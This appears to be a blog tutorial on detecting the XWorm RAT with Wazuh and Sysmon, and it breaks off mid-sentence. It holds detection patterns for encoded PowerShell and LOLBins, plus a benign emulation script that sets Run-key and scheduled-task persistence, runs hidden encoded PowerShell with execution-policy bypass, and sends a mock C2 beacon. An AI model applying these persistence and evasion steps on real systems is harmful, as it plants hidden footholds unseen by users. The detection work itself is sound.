            <content:encoded><![CDATA[<h3>Wazuh-Based Malware Defense Engineering: XWorm Behavior Monitoring, Hash Intelligence, and Automated Active Response</h3><p>Author: <a href="https://kiza.online/">https://kiza.online</a></p><h3>Overview</h3><p>This engagement extended the existing <a href="https://kizerh.medium.com/finedge-unified-threat-monitoring-architecture-on-premise-and-cloud-integration-with-wazuh-814da6b533e4">Wazuh monitoring deployment</a> to include a Windows endpoint with focused detection and containment logic for the XWorm remote access trojan. The objective was to demonstrate end to end detection: collect Windows telemetry, match indicators and behaviors tied to XWorm, and automate containment using Wazuh CDB lists and Active Response. The result is a repeatable pattern for adding tailored malware detection and response capabilities to an open source security stack.</p><h3>The Challenge</h3><p>XWorm is a stealthy RAT that uses persistence, obfuscated binaries, and common system utilities to blend into normal activity. Detecting it requires not only signature matching but also behavioral correlation across process, file and registry events. The challenge was to create high fidelity detection logic that minimizes false positives while enabling automatic containment. Key constraints included operating in a mixed environment where Windows telemetry needed to be normalized and false positives could disrupt business operations.</p><h3>XWorm Behavior</h3><p>XWorm is a stealthy Windows-based Remote Access Trojan designed to evade traditional defenses through script-based execution, in-memory operations, and multi-stage payload delivery. When launched on a Windows endpoint, it relies heavily on PowerShell to load and decrypt its components, establish persistence, and initiate command-and-control activity.</p><p>Typical behavior observed during execution includes:</p><ul><li>Launching PowerShell with <strong>ExecutionPolicy set to Bypass</strong> and the window hidden, preventing user visibility and bypassing policy restrictions.</li><li>Running heavily <strong>obfuscated or Base64-encoded code</strong>, allowing the malware to conceal its true functionality.</li><li>Decrypting and loading an <strong>AES-encrypted second-stage payload directly in memory</strong>, reducing forensic artifacts on disk.</li><li>Dropping additional malicious <strong>.vbs</strong> and <strong>.bat</strong> helper files into:</li></ul><pre>C:\Users\&lt;USER&gt;\AppData\Local\Adobe-Hub\</pre><ul><li>Using <strong>wscript.exe</strong> to execute the malicious VBS script and <strong>cmd.exe</strong> to run the accompanying batch file for system modification.</li><li>Operating primarily through <strong>in-memory execution</strong>, a technique that helps it evade signature-based antivirus detection and remain persistent.</li></ul><h3>Tools used</h3><ul><li>Wazuh Manager for centralized collection, correlation and Active Response orchestration<br> • Wazuh Windows agent for WinEventLog and Sysmon ingestion<br> • Sysmon for high fidelity process, file, and registry telemetry on the Windows host<br> • Wazuh CDB lists for efficient indicator matching<br> • Active Response scripts for automated remediation actions such as process kill and file deletion</li></ul><h3>The Execution</h3><h3>Configuring the Windows endpoint</h3><p>Prepare the Windows endpoint so it produces the high fidelity events necessary to detect XWorm behaviors. This includes installing Sysmon with a tuned configuration, enabling PowerShell script block and module logging, and ensuring the Wazuh agent is configured to forward the Windows Event Channels to the manager.</p><h3>Install and configure Sysmon</h3><p>Sysmon is a free Microsoft utility that provides structured, rich process, file creation, network, and registry events that are crucial for behavioral detection of RATs like XWorm. Sysmon events give visibility into parent/child process relationships and command line arguments which are often the best signal for obfuscated PowerShell and staged payload execution.</p><p>Download Sysmon from Microsoft Sysinternals <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon">https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon</a> and unzip the downloaded file in a working directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*baX-Yu2DqAookk_fzXtM6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3lbqZHZ6I3Daasv9x2qp-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RtCrpUaGh25fmz2-pxR1QA.png" /><figcaption>The downloaded sysmon unzipped in the C:\Users\kiza\Desktop\Sysmon folder (Sysmon folder on my desktop)</figcaption></figure><p>Download the Sysmon configuration used by Wazuh and install Sysmon using that configuration:</p><pre># Download Wazuh sysmon config<br>wget -Uri &quot;https://wazuh.com/resources/blog/emulation-of-attack-techniques-and-detection-with-wazuh/sysmonconfig.xml&quot; -OutFile &quot;C:\Users\kiza\desktop\Sysmon\sysmonconfig.xml&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5m78vL3lwP3cDLTbyq6lQQ.png" /><figcaption>You can replace C:\Users\kiza\desktop\Sysmon\ with the directory you unzipped your sysmon folder</figcaption></figure><blockquote>Note: <strong>C:\Users\kiza\desktop\Sysmon\</strong> is the folder where I unzipped my sysmon file, you can use any folder of your choice just make sure it is where you will be downloding the sysmonconfig.xml file above or you will have to specify the path when you want to install and start the sysmon with the configuration file</blockquote><h3>Editing the Sysmon Modular Configuration to Capture XWorm-Specific Behavior</h3><p>To ensure complete visibility into XWorm’s execution flow, the existing Sysmon Modular configuration was extended with custom event filters tailored to the malware’s known behavioral patterns. These additions strengthen endpoint telemetry by logging suspicious process executions, file creation events, registry persistence changes, network activity, and WMI operations, each of which plays a role in XWorm’s infection chain.</p><p>The modifications were added directly into the previously downloaded <strong>Sysmon Modular configuration file (sysmonconfig.xml)</strong>, ensuring that the agent generates rich, high-fidelity logs for Wazuh to analyze.</p><h3>Process Creation Logging Enhancements</h3><p>XWorm relies heavily on script-based execution, obfuscation, and living-off-the-land binaries (LOLBins). To capture these behaviors, the following entries were added under the &lt;ProcessCreate onmatch=&quot;include&quot;&gt; block:</p><pre>&lt;!-- Xworm execution patterns --&gt;<br>&lt;Image condition=&quot;end with&quot;&gt;wscript.exe&lt;/Image&gt;<br>&lt;Image condition=&quot;end with&quot;&gt;cmd.exe&lt;/Image&gt;<br>&lt;Image condition=&quot;end with&quot;&gt;powershell.exe&lt;/Image&gt;<br>&lt;!-- Where Xworm drops payloads --&gt;<br>&lt;CommandLine condition=&quot;contains&quot;&gt;AppData\Local\Adobe-Hub&lt;/CommandLine&gt;<br>&lt;CommandLine condition=&quot;contains&quot;&gt;AppData\Roaming&lt;/CommandLine&gt;<br>&lt;!-- Encoded PowerShell --&gt;<br>&lt;CommandLine condition=&quot;contains&quot;&gt;EncodedCommand&lt;/CommandLine&gt;<br>&lt;CommandLine condition=&quot;contains&quot;&gt;FromBase64String&lt;/CommandLine&gt;<br>&lt;CommandLine condition=&quot;contains&quot;&gt;CreateDecryptor&lt;/CommandLine&gt;<br>&lt;CommandLine condition=&quot;contains&quot;&gt;TransformFinalBlock&lt;/CommandLine&gt;<br>&lt;!-- General LOLBin suspicious execution --&gt;<br>&lt;ParentImage condition=&quot;end with&quot;&gt;wscript.exe&lt;/ParentImage&gt;<br>&lt;ParentImage condition=&quot;end with&quot;&gt;cmd.exe&lt;/ParentImage&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9G1_d8S7veWHsEOl9ZiBHg.png" /></figure><p>These entries ensure Sysmon monitors the complete script-execution sequence, including obfuscated PowerShell, encoded payload loaders, and the parent–child chain characteristic of XWorm infections.</p><h3>File Creation Monitoring Enhancements</h3><p>To detect the malware’s droppers and supporting artifacts, the following entries were added under the &lt;FileCreate onmatch=&quot;include&quot;&gt; block:</p><pre>&lt;TargetFilename condition=&quot;contains&quot;&gt;AppData\Local\Adobe-Hub&lt;/TargetFilename&gt;<br>&lt;TargetFilename condition=&quot;end with&quot;&gt;.vbs&lt;/TargetFilename&gt;<br>&lt;TargetFilename condition=&quot;end with&quot;&gt;.bat&lt;/TargetFilename&gt;<br>&lt;TargetFilename condition=&quot;contains&quot;&gt;mutex_XWorm_simulated&lt;/TargetFilename&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q86PWC43KFUjDpaH6QvHjQ.png" /></figure><p>This captures VBS/BAT files commonly generated during an XWorm deployment, as well as the directory where the malware stages its components.</p><h3>Registry Persistence Detection</h3><p>XWorm establishes persistence by modifying Run keys under the Windows Registry. To ensure these changes are captured, the &lt;RegistryEvent onmatch=&quot;include&quot;&gt; block was extended with:</p><pre>&lt;TargetObject condition=&quot;contains&quot;&gt;\Software\Microsoft\Windows\CurrentVersion\Run&lt;/TargetObject&gt;<br>&lt;Details condition=&quot;contains&quot;&gt;Adobe-Hub&lt;/Details&gt;<br>&lt;Details condition=&quot;contains&quot;&gt;.vbs&lt;/Details&gt;<br>&lt;Details condition=&quot;contains&quot;&gt;.bat&lt;/Details&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kcUh_Ty6OJKfQXHfx_Z-aA.png" /></figure><p>This logs changes to persistence-related keys and flags any registry entries that reference the malware’s staging directory or script components.</p><h3>WMI Event Monitoring</h3><p>XWorm has been observed abusing WMI for stealthy persistence and code execution. To capture these actions, the &lt;WmiEvent onmatch=&quot;include&quot;&gt; block was updated with:</p><pre>&lt;Consumer condition=&quot;contains&quot;&gt;CommandLine&lt;/Consumer&gt;<br>&lt;Query condition=&quot;contains&quot;&gt;Select * From&lt;/Query&gt;<br>&lt;Operation condition=&quot;is&quot;&gt;Created&lt;/Operation&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dk7SGavjEBUDCgz4CS3vng.png" /></figure><p>This captures newly created WMI consumers and suspicious queries, which are often leveraged for hidden scheduled execution.</p><h3>Network Connection Monitoring</h3><p>Finally, to flag potential command-and-control (C2) communication or lateral movement, network monitoring was enhanced under the &lt;NetworkConnect onmatch=&quot;include&quot;&gt; block:</p><pre>&lt;DestinationPort condition=&quot;is&quot;&gt;8080&lt;/DestinationPort&gt;<br>&lt;DestinationIp condition=&quot;contains&quot;&gt;10.&lt;/DestinationIp&gt; &lt;!-- safe non-routable range --&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BQheImLaiVQcxH8_OAh9Og.png" /></figure><p>These filters help detect connections commonly used by RAT tools and sandbox testing ranges.</p><p>With these additions, Sysmon now produces detailed telemetry aligned with XWorm’s lifecycle — providing the Wazuh Manager with high-quality data for correlation, detection, and automated response.</p><p>Next we need to install and start the sysmon with the downloaded and customised configuration file</p><pre># Install Sysmon with the Wazuh config<br>cd /path/where/you/unzipped/sysmon<br>.\Sysmon64.exe -accepteula -i sysmonconfig.xml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eKUEuvyLj3fbKp09ozdR7Q.png" /></figure><p>Now Sysmon service installs and begins producing events into the Microsoft-Windows-Sysmon/Operational event channel. This flow is crucial because the custom XWorm detection rules rely heavily on Sysmon metadata, especially Event ID 1 (Process creation), Event ID 11 (File creation), Event ID 3 (Network connection), and Event ID 7 (Image loaded).</p><h3>Enable PowerShell ScriptBlock and Module Logging</h3><p>XWorm commonly runs obfuscated PowerShell (encoded, Base64, AES-decrypted in-memory). Enabling PowerShell ScriptBlock Logging and Module Logging surfaces the decoded or executed commands and module activity that would otherwise be invisible, because by default, Windows does not capture detailed command execution in PowerShell</p><p>Run these as Administrator on the endpoint</p><pre>&gt; function Enable-PSLogging {<br>   # Define registry paths for ScriptBlockLogging and ModuleLogging<br>   $scriptBlockPath = &#39;HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging&#39;<br>   $moduleLoggingPath = &#39;HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging&#39;<br><br>   # Enable Script Block Logging<br>   if (-not (Test-Path $scriptBlockPath)) {<br>       $null = New-Item $scriptBlockPath -Force<br>   }<br>   Set-ItemProperty -Path $scriptBlockPath -Name EnableScriptBlockLogging -Value 1<br><br>   # Enable Module Logging<br>   if (-not (Test-Path $moduleLoggingPath)) {<br>       $null = New-Item $moduleLoggingPath -Force<br>   }<br>   Set-ItemProperty -Path $moduleLoggingPath -Name EnableModuleLogging -Value 1<br><br>   # Specify modules to log - set to all (*) for comprehensive logging<br>   $moduleNames = @(&#39;*&#39;)  # To specify individual modules, replace * with module names in the array<br>   New-ItemProperty -Path $moduleLoggingPath -Name ModuleNames -PropertyType MultiString -Value $moduleNames -Force<br>   Write-Output &quot;Script Block Logging and Module Logging have been enabled.&quot;<br>}<br>&gt; Enable-PSLogging</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a0rtHONO3-bPPQylT8w08g.png" /></figure><p>With this Windows Event channel Microsoft-Windows-PowerShell/Operational will now include ScriptBlock events and module logging. This visibility is significant because XWorm commonly uses PowerShell-based loaders, obfuscated commands, and registry persistence mechanisms that surface clearly in PowerShell logs.</p><blockquote>Careful: ScriptBlock logging can generate significant volume. Consider applying log retention and filtering policies for production.</blockquote><h3>Configure the Wazuh Agent on the Windows endpoint to forward Sysmon and PowerShell channels</h3><p>Wazuh agent must read the relevant Windows Event Channels so the manager can run detection rules against those events.</p><p>Therfore we need to edit the agent config file at “C:\Program Files (x86)\ossec-agent\ossec.conf”</p><p>Add the following localfile entries inside the &lt;ossec_config&gt; block.</p><pre>&lt;localfile&gt;<br>  &lt;location&gt;Microsoft-Windows-Sysmon/Operational&lt;/location&gt;<br>  &lt;log_format&gt;eventchannel&lt;/log_format&gt;<br>&lt;/localfile&gt;</pre><pre>&lt;localfile&gt;<br>  &lt;location&gt;Microsoft-Windows-PowerShell/Operational&lt;/location&gt;<br>  &lt;log_format&gt;eventchannel&lt;/log_format&gt;<br>&lt;/localfile&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XiLOEkv2ApYAa2Vnwiq7Nw.png" /></figure><p>After saving, restart the Wazuh agent service:</p><pre>Restart-Service -Name wazuh</pre><p>The Wazuh agent begins forwarding Sysmon and PowerShell events to the manager.</p><h3>Detection Rules on the Wazuh Server</h3><p>To detect XWorm’s activity across the environment, custom rules were added to the Wazuh Manager so that indicators coming from Sysmon, PowerShell, and Windows event logs could be correlated and flagged as high-severity alerts. Wazuh already has some built-in rules that corrspons to some of the indicators like rule ID 91809 for PowerShell script may be using Base64 decoding method, rule ID 92029 for PowerShell executed script from a suspicious location and rule ID 92213 for when an executable file is dropped in a folder commonly used by malware.</p><p>The customs rules we will be creating will focus on identifying:</p><ul><li><strong>Obfuscated or Base64-encoded PowerShell execution</strong></li><li><strong>Process creation events involving Powershell.exe, wscript.exe, and cmd.exe</strong> with suspicious parameters</li><li><strong>File-write operations into </strong><strong>AppData\Local\Adobe-Hub\</strong>, which XWorm consistently uses as a staging directory</li><li><strong>Registry persistence entries added during infection</strong></li><li><strong>Execution of dropped VBS/BAT files</strong> that support second-stage payloads</li><li><strong>AES decryption and script-loading patterns</strong> aligned with XWorm’s memory-based execution style</li></ul><p>For this, a file called xworm_detection_rules.xml was created in the /var/ossec/etc/rules/ directory:</p><pre>touch /var/ossec/etc/rules/xworm_detection_rules.xml</pre><p>the following rules were added to the created to the /var/ossec/etc/rules/xworm_detection_rules.xml file:</p><pre>&lt;group name=&quot;xworm,malware,powershell,&quot;&gt;<br>  &lt;rule id=&quot;100015&quot; level=&quot;8&quot;&gt;<br>    &lt;if_sid&gt;61603&lt;/if_sid&gt;<br> &lt;field name=&quot;win.eventdata.originalFileName&quot; type=&quot;pcre2&quot;&gt;(?i)(wscript\.exe|cmd\.exe)&lt;/field&gt;<br>    &lt;field name=&quot;win.eventdata.commandLine&quot; type=&quot;pcre2&quot;&gt;(?i)(AppData\\\\.*\.bat|AppData\\\\.*\.vbs)&lt;/field&gt;<br>    &lt;options&gt;no_full_log&lt;/options&gt;<br>    &lt;description&gt;Possible Staged Xworm Module Executed (.BAT/.VBS)&lt;/description&gt;<br>    &lt;mitre&gt;<br>      &lt;id&gt;T1059.003&lt;/id&gt;<br>      &lt;id&gt;T1074.001&lt;/id&gt;<br>    &lt;/mitre&gt;<br>  &lt;/rule&gt;<br><br>  &lt;rule id=&quot;100016&quot; level=&quot;8&quot;&gt;<br>    &lt;if_sid&gt;60009&lt;/if_sid&gt;<br>    &lt;field name=&quot;win.eventdata.payload&quot; type=&quot;pcre2&quot;&gt;(?i)CommandInvocation&lt;/field&gt;<br>    &lt;field name=&quot;win.system.message&quot; type=&quot;pcre2&quot;&gt;(?i)EncodedCommand|FromBase64String|EncodedArguments|TransformFinalBlock|CreateDecryptor&lt;/field&gt;<br>    &lt;description&gt;Potential Obfuscated Powershell Payload.&lt;/description&gt;<br>    &lt;mitre&gt;<br>      &lt;id&gt;T1059.001&lt;/id&gt;<br>      &lt;id&gt;T1562.001&lt;/id&gt;<br>    &lt;/mitre&gt;<br>  &lt;/rule&gt;<br><br><br>  &lt;rule id=&quot;100017&quot; level=&quot;5&quot;&gt;<br>    &lt;if_sid&gt;60009&lt;/if_sid&gt;<br>    &lt;field name=&quot;win.eventdata.contextInfo&quot; type=&quot;pcre2&quot;&gt;(?i)ExecutionPolicy bypass|exec bypass&lt;/field&gt;<br>    &lt;description&gt;PowerShell execution policy set to bypass.&lt;/description&gt;<br>    &lt;mitre&gt;<br>      &lt;id&gt;T1059.001&lt;/id&gt;<br>    &lt;/mitre&gt;<br>  &lt;/rule&gt;<br><br>&lt;/group&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mjC7nmPM9uCLwg6tubVE8Q.png" /></figure><p>with this we have created three custom rules whereby:</p><ul><li>Rule ID 100015 is triggered when the malware creates and executes a malicious Visual Basic or batch script.</li><li>Rule ID 100016 is triggered when a potential obfuscated payload is identified.</li><li>Rule ID 100017 is triggered when XWorm executes a suspicious PowerShell script, using the ExecutionPolicy Bypass flag and a hidden window to evade detection.</li></ul><p>After creating and updating the file, the Wazuh Manager was restarted:</p><pre>sudo systemctl restart wazuh-manager</pre><p>With these rules active, the Wazuh server becomes capable of detecting the common execution flow, persistence mechanisms, and file-system indicators associated with XWorm, allowing real-time correlation and alerting as soon as suspicious behavior occurs.</p><h3>Creating a Script to Safely Simulate XWorm Behaviour</h3><p>To validate the custom Sysmon rules and Wazuh detection logic, a safe PowerShell-based simulation script was created. The script does <strong>not</strong> execute malware but replicates the observable behaviors that XWorm typically triggers; file drops, persistence actions, encoded PowerShell execution, parent/child process chains, and network attempts, with this the detection pipeline can be tested without risk.</p><pre># XWorm.ps1<br># Safe XWorm Behavior Simulator<br># Run as Administrator. This script is NON-MALICIOUS: it only creates artifacts and executes benign commands.<br><br>Write-Host &quot;[*] Starting SAFE XWorm behavior simulation...&quot;<br><br># Determine current user profile path<br>$profileUser = $env:USERPROFILE<br>$dropDir = Join-Path -Path $profileUser -ChildPath &quot;AppData\Local\Adobe-Hub&quot;<br>New-Item -Path $dropDir -ItemType Directory -Force | Out-Null<br><br># 1) Create fake dropped files (.vbs and .bat) in AppData\Local\Adobe-Hub<br>$vbsPath = Join-Path -Path $dropDir -ChildPath &quot;helper.vbs&quot;<br>$batPath = Join-Path -Path $dropDir -ChildPath &quot;runme.bat&quot;<br><br>&quot;MsgBox &quot;&quot;This is a harmless simulated VBS file for detection testing.&quot;&quot;&quot; | Out-File -Encoding ASCII -FilePath $vbsPath -Force<br>&quot;@echo off`r`necho This is a harmless simulated batch file for detection testing.`r`nexit /b 0&quot; | Out-File -Encoding ASCII -FilePath $batPath -Force<br><br>Write-Host &quot;[*] Created simulated dropped files:&quot;<br>Write-Host &quot;  $vbsPath&quot;<br>Write-Host &quot;  $batPath&quot;<br><br># 2) Create fake registry persistence (HKCU\...\Run\XWorm)<br>Write-Host &quot;[*] Creating fake registry persistence key...&quot;<br>New-ItemProperty -Path &quot;HKCU:\Software\Microsoft\Windows\CurrentVersion\Run&quot; `<br>    -Name &quot;XWorm&quot; -Value $vbsPath -PropertyType String -Force<br><br># 3) Create scheduled task of a benign runner (matches persistence TTP)<br>Write-Host &quot;[*] Creating scheduled task &#39;XWormUpdater&#39; (runs harmless batch)...&quot;<br>schtasks /Create /SC MINUTE /MO 30 /TN &quot;XWormUpdater&quot; /TR &quot;`&quot;$batPath`&quot;&quot; /F | Out-Null<br><br># 4) Execute the VBS via wscript.exe and the BAT via cmd.exe (so Sysmon shows originalFileName wscript.exe|cmd.exe)<br>Write-Host &quot;[*] Executing simulated staged modules (wscript + cmd)...&quot;<br>Start-Process -FilePath &quot;wscript.exe&quot; -ArgumentList &quot;`&quot;$vbsPath`&quot;&quot; -WindowStyle Hidden<br>Start-Process -FilePath &quot;cmd.exe&quot; -ArgumentList &quot;/c `&quot;$batPath`&quot;&quot; -WindowStyle Hidden<br><br># 5) Simulate Obfuscated / Base64 encoded PowerShell execution:<br>#    We&#39;ll craft an encoded PowerShell command whose decoded script contains strings the Wazuh rule checks for:<br>$payload = @&quot;<br># benign payload content — includes trigger keywords so ScriptBlock logging contains them<br>Write-Output &#39;CommandInvocation: Simulated payload - includes markers to be detected&#39;<br>Write-Output &#39;FromBase64String TransformFinalBlock CreateDecryptor EncodedCommand EncodedArguments&#39;<br>&quot;@<br><br># Encode payload to Base64 (Unicode) for -EncodedCommand<br>$bytes = [System.Text.Encoding]::Unicode.GetBytes($payload)<br>$encoded = [Convert]::ToBase64String($bytes)<br><br>Write-Host &quot;[*] Running PowerShell with -ExecutionPolicy Bypass and -EncodedCommand (simulated obfuscated payload)...&quot;<br>Start-Process -FilePath &quot;powershell.exe&quot; -ArgumentList &quot;-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand $encoded&quot; -WindowStyle Hidden<br><br># 6) Simulate a &#39;beacon&#39; network attempt to a non-routable IP (safe)<br>Write-Host &quot;[*] Simulating C2 beacon to a non-routable IP (will fail quickly)...&quot;<br>try {<br>    Invoke-WebRequest -Uri &quot;http://10.255.255.1:8080/beacon&quot; -UseBasicParsing -TimeoutSec 2<br>} catch {}<br><br># 7) Create a harmless &quot;mutex&quot; artifact file (so file-creation detections can fire if present)<br>$mutexFile = &quot;C:\ProgramData\mutex_XWorm_simulated.txt&quot;<br>New-Item -Path $mutexFile -ItemType File -Force | Out-Null<br>Write-Host &quot;[*] Created mutex artifact file: $mutexFile&quot;<br><br>Write-Host &quot;[*] SAFE simulation complete. Check Wazuh for alerts.&quot;</pre><p>The script performs the following actions:</p><ul><li>Creates the <strong>Adobe-Hub</strong> directory under the current user’s AppData path and drops harmless .vbs and .bat files, matching the file patterns XWorm generates.</li><li>Adds a fake persistence entry under HKCU\Software\Microsoft\Windows\CurrentVersion\Run pointing to the simulated VBS file.</li><li>Creates a scheduled task (XWormUpdater) that executes the dropped batch file to imitate long-term persistence.</li><li>Executes wscript.exe and cmd.exe with the dropped files, ensuring Sysmon captures the correct parent/child relationships associated with XWorm.</li><li>Runs PowerShell with -ExecutionPolicy Bypass and -EncodedCommand, containing harmless strings that mimic XWorm’s obfuscated AES-decryption workflow.</li><li>.Performs a controlled web request to a non-routable IP on port 8080 to trigger network-based detection logic without creating real outbound traffic</li><li>Generates a fake mutex artifact at C:\ProgramData\mutex_XWorm_simulated.txt to support file-creation event testing.</li></ul><p>Together, these actions reliably replicate the telemetry and artifacts XWorm normally produces, enabling full end-to-end alert verification in a controlled and completely safe environment.</p><h3>Viewing the Custom Detection Alerts on the Wazuh Dashboard</h3><p>Once the custom detection rules were deployed and the XWorm simulation script executed, the Wazuh dashboard began generating alerts that reflected every major stage of the emulated malware activity. Using the <strong>Security events</strong> and <strong>Threat Hunting</strong> panels, the alerts became immediately visible as Sysmon and Wazuh correlated process creation, file modifications, registry writes, and encoded PowerShell execution tied to the XWorm behavioral profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CdiMxBScz-5_V9AIUglzWg.png" /></figure><p>The dashboard presented a complete, structured timeline of the simulated XWorm activity. Seeing each alert mapped to its corresponding rule ID verified that the custom detection logic was functioning exactly as intended, producing a clear, actionable narrative of the malware’s behavior directly within Wazuh.</p><h3>Configuring Wazuh to remove the Xworm Malware whenever it is detected</h3><p>To do this we follow a pathway in which we enable file integrity on a folder and then whenever a change is made on that folder, the wazuh agent sends the hash of the new file/changed file to the wazuh server and the server now compares the hash against a configured database of hashs that we will create called a CDB list (Configured Database) and whenever a match is made with any of these hashes an active response is triggered to remove the file</p><h3>Configuring File Integrity Monitoring on the Windows Endpoint</h3><p>On the Windows endpoint we configured File Integrity Monitoring so the agent would watch the folders where XWorm typically stages its payloads. The agent’s syscheck configuration was updated to monitor all users Downloads folder and the Adobe-Hub staging path in real time so any dropped files would be hashed and reported to the manager for CDB comparison.</p><p>The following entries were added inside the &lt;syscheck&gt; block of the agent configuration file C:\Program Files (x86)\ossec-agent\ossec.conf:</p><pre>&lt;syscheck&gt;<br>  ...<br>  &lt;directories realtime=&quot;yes&quot; restrict=&quot;\Adobe-Hub&quot;&gt;C:\Users\*\AppData\Local&lt;/directories&gt;<br>  &lt;directories realtime=&quot;yes&quot;&gt;C:\Users\*\Downloads&lt;/directories&gt;<br>  ...<br>&lt;/syscheck&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ExGKeduBdX7QuDnFqeWvQA.png" /></figure><p>Save the file and restart the Wazuh agent to apply the new monitoring policy:</p><pre>Restart-Service -Name wazuh</pre><p>After the agent restarts it begins computing checksums for new files in those paths and sends FIM events to the manager.</p><h3>Configuring the Wazuh CDB List on the Wazuh Server</h3><p>On the Wazuh Server, the CDB (Constant Database) list acts as the authoritative reference for known malicious hashes. When the Windows agent sends a File Integrity Monitoring (FIM) event with a file hash, the manager compares that hash against the CDB list to determine whether an alert should be generated.</p><p>To configure the CDB list, create a new file that will contain SHA256 hashes of the simulated XWorm artifacts or any malware samples you want Wazuh to detect.<br>For example:</p><pre>sudo nano /var/ossec/etc/lists/malware_hashes</pre><p>Inside the file, add known and simulated malicious hashes:</p><pre># XWorm variants known and simlated hashes<br>dc7a3cde0f236d89b09856b4e5f0232c3c613b791c75433992d557c6489ddcbc:xworm<br>f0b72304c04c20c2fd7656fd43b3c916d92c7c89382a2e9a2ece614a90e61a10:xworm<br>108839851e5f980753cc790d7aeed49ee4f44b8f77528417167e6d7fb9c07640:xworm<br>79d2d27504dba7d5d16a04728bae8eb951aa67d47cf858a8c278537e711682f2:xworm<br>37883f9acd439e989fa665b51fe2b1b46e41a9551c6460c0bbf9c7adcd785023:xworm<br>19734404d9d8b39b0bca6536c15cfd574911fb9a54f5a769ba75188f803b76a2:xworm<br>90552991984a06d7ef7ebf68ec386906099595843a90d84cc03b1ea61994fcbd:xworm<br>613c93738e061f713b1346c1d44fcb3ee1b190a7c4211e0be51fa6dbd2bc731b:xworm<br>fc51f7fa455614e41628301c8ca91008e183fe2a2b02c0c05daf912afe0d1ee2:xworm<br>6ae1b3a083f0369cc4e3ef84faae3725866ea071f826c7222103a54ee3b5bfc2:xworm<br>d079d49ce3f1b91ff69ac6a9499fcaa5aa901f50f2c46b3ee20236678d6d6018:xworm<br>38a88896b098c8508b1ee5a9ccafc772c58ee853c2d3d177c5f0b53868e3a019:xworm<br>108839851e5f980753cc790d7aeed49ee4f44b8f77528417167e6d7fb9c07640:xworm<br>ea41d90811015fcfcce0d1ee7060c8075e5281cf6182af93ed689babeff35aa7:xworm<br>5031340dc72c0221b6c32a9fe75bd56421fd3b264919d7b9af74a6c5fbd744b5:xworm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OnN2ncf38gAIL7n4GFG76g.png" /></figure><p>Next, reference this list in the Wazuh server ruleset by editing the wazuh manager configuration file at <strong><em>/var/ossec/etc/ossec.conf </em></strong>and adding <strong><em>&lt;list&gt;etc/lists/malware-hashes&lt;/list&gt; </em></strong>within the <strong><em>&lt;ruleset&gt;</em></strong> block</p><pre> &lt;ruleset&gt;<br>   &lt;!-- Default ruleset --&gt;<br>   &lt;decoder_dir&gt;ruleset/decoders&lt;/decoder_dir&gt;<br>   &lt;rule_dir&gt;ruleset/rules&lt;/rule_dir&gt;<br>   &lt;rule_exclude&gt;0215-policy_rules.xml&lt;/rule_exclude&gt;<br>   &lt;list&gt;etc/lists/audit-keys&lt;/list&gt;<br>   &lt;list&gt;etc/lists/amazon/aws-eventnames&lt;/list&gt;<br>   &lt;list&gt;etc/lists/security-eventchannel&lt;/list&gt;<br>   &lt;list&gt;etc/lists/malware-hashes&lt;/list&gt;<br> &lt;ruleset&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fHS4Bm4gkeuCfLuJuE_LpQ.png" /></figure><p>Add the custom rule below to the /var/ossec/etc/rules/local_rules.xml file to trigger alerts on the Wazuh dashboard whenever a SHA256 hash from the CBD list is identified:</p><pre>&lt;group name=&quot;xworm,&quot;&gt;<br>  &lt;rule id=&quot;100025&quot; level=&quot;13&quot;&gt;<br>    &lt;if_sid&gt;554,550&lt;/if_sid&gt;<br>    &lt;list field=&quot;sha256&quot; lookup=&quot;match_key&quot;&gt;etc/lists/malware-hashes&lt;/list&gt;<br>    &lt;description&gt;A known Xworm malware hash detected: $(file)&lt;/description&gt;<br>    &lt;mitre&gt;<br>      &lt;id&gt;T1204.002&lt;/id&gt;<br>    &lt;/mitre&gt;<br>    &lt;options&gt;no_full_log&lt;/options&gt;<br>  &lt;/rule&gt;<br>&lt;/group&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qk-n7C6P_2RioiJDCJm-lA.png" /></figure><p>so with this rule ID 100025 triggers when a file hash associated with XWorm is detected, this rule id triggering is based on two rules as seen within the &lt;if_sid&gt; tag, which are: Rule ID 554 which is triggered when a new file is added to a monitored directory, and rule ID 550 which is triggered when a file is modified. So whenever any of these rules is triggered because of a change in our monitored directotires and then the file hash is detected to be a known malware variant in our CDB list that we created, this rule is triggered and an alert is generated on our dashboard</p><p>Restart the Wazuh Manager to apply changes</p><pre>sudo systemctl restart wazuh-manager</pre><h3>Viewing the CDB Alerts on the Wazuh Dashboard</h3><p>Once the server-side CDB list is active and the Windows agent begins sending file creation alerts, any file whose hash matches an entry in the <strong>malware-hashes</strong> database will generate a dedicated CDB alert on the Wazuh Dashboard just as seen below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ONC2GTNJ819sw9i2kdtcdQ.png" /></figure><h3>Configuring the Wazuh Active Response Module on Windows Endpoint</h3><p>After completing the 